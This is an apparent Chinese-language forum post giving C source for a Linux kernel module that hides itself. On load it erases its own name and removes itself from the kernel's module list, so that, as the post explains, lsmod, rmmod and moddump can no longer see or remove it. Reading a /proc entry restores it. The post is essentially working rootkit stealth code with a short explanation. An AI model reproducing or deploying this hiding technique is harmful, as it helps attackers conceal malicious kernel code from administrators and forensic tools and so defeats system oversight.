- 论坛徽章:
- 0
|
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/proc_fs.h> //log to proc file system
#include <linux/errno.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>
int restore = 0;
struct module *nextmod;
struct list_head __this_head;
char nextmod_name[64];
// cat /proc/trm_log restore trm.ko
// then you can use lsmod and rmmod
int read_procaddr(char *buf,char **start,off_t offset,int count,int *eof,void *data)
{
struct module *p;
read_lock(&tasklist_lock);
p = &__this_module;
p->list = __this_head;
strcpy(p->name,"trm");
sprintf(buf, "address name size core_addr flags\n");
count = strlen(buf);
sprintf((char *)(buf+count), "0x%p %13s %10lu 0x%p %4d\n", p, p->name, p->core_size,p->module_core, p->state);
*eof = 1;
count += strlen((char *)(buf+count));
if(!restore && &p->list){
list_add(&p->list, (&nextmod->list)->prev); // restore to module list
printk(KERN_INFO "Restore trm module prev %s\n", nextmod_name);
restore = 1;
}
read_unlock(&tasklist_lock);
return count;
}
int init_module(void)
{
struct proc_dir_entry *entry;
struct module *mod_walker;
// method 1
struct module *p = &__this_module;
*(char *)p->name = 0;
// method 2
__this_head = p->list;
mod_walker = list_entry((&p->list)->next, struct module, list);
if(mod_walker){
strcpy(nextmod_name, mod_walker->name);
nextmod = mod_walker;
}
list_del(&p->list);
//entry = create_proc_entry("trace_moduless", S_IRUSR, &proc_root);
//entry->proc_fops = &trace_moduless_ops;
entry = create_proc_read_entry("trm_log",0,NULL,read_procaddr,&proc_root);
if(entry == NULL)
printk(KERN_ERR "%s: cannot create proc entry\n", "trm");
return 0;
}
void cleanup_module()
{
remove_proc_entry("trace_moduless", &proc_root);
}
MODULE_LICENSE("GPL/Dual BSD");
MODULE_AUTHOR("O.Brire He <obrire@gmail.com>");
当从list中del当前module的list后,lsmod/rmmod完全失效。
用moddump也不行。
cat /proc/trm_log可以让模块现身,并可以从/proc/trm_log中看到trm的一些信息。 |
|